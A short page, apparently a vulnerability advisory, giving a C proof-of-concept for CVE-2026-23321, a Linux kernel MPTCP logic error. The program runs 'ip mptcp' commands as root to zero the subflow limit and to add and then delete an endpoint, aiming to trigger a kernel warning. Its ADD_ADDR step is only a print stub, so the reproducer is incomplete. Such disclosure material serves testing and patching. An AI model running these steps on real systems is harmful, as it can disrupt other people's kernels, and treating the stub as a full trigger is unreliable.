CVE-2026-23321 Linux内核MPTCP逻辑错误漏洞

/* * PoC for CVE-2026-23321 * This script demonstrates the steps to trigger the kernel warning. * Requires root privileges to modify MPTCP settings and endpoints. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // Step 1: Set MPTCP subflows limit to 0 // Command equivalent: ip mptcp limits set subflow 0 void set_subflow_limit_zero() { system("ip mptcp limits set subflow 0"); printf("[+] Subflow limit set to 0\n"); } // Step 2: Create an MPTCP endpoint with 'signal' and 'subflow' flags // Command equivalent: ip mptcp endpoint add <IP> dev <DEV> id 1 flags signal,subflow void create_malicious_endpoint() { // Assuming 10.0.0.1 is a valid local IP system("ip mptcp endpoint add 10.0.0.1 dev eth0 id 1 flags signal,subflow"); printf("[+] Endpoint created with signal and subflow flags\n"); } // Step 3: Simulate creating a MPTCP connection from a different address // Note: Actual ADD_ADDR transmission requires a socket interaction, // which Syzkaller manages to trigger. Here we simulate the state. void trigger_add_addr() { // In a real exploit, this involves creating a socket that triggers // the ADD_ADDR logic without establishing a subflow (due to limit 0). printf("[+] Triggering ADD_ADDR without subflow creation...\n"); } // Step 4: Remove the MPTCP endpoint // Command equivalent: ip mptcp endpoint delete id 1 void remove_endpoint() { printf("[+] Removing endpoint to trigger warning...\n"); system("ip mptcp endpoint delete id 1"); } int main() { printf("Starting PoC for CVE-2026-23321\n"); set_subflow_limit_zero(); create_malicious_endpoint(); trigger_add_addr(); // This step is expected to cause the kernel warning: // WARNING: CPU: 1 PID: 961 at net/mptcp/pm_kernel.c:1071 remove_endpoint(); printf("If successful, check dmesg for kernel warning.\n"); return 0; }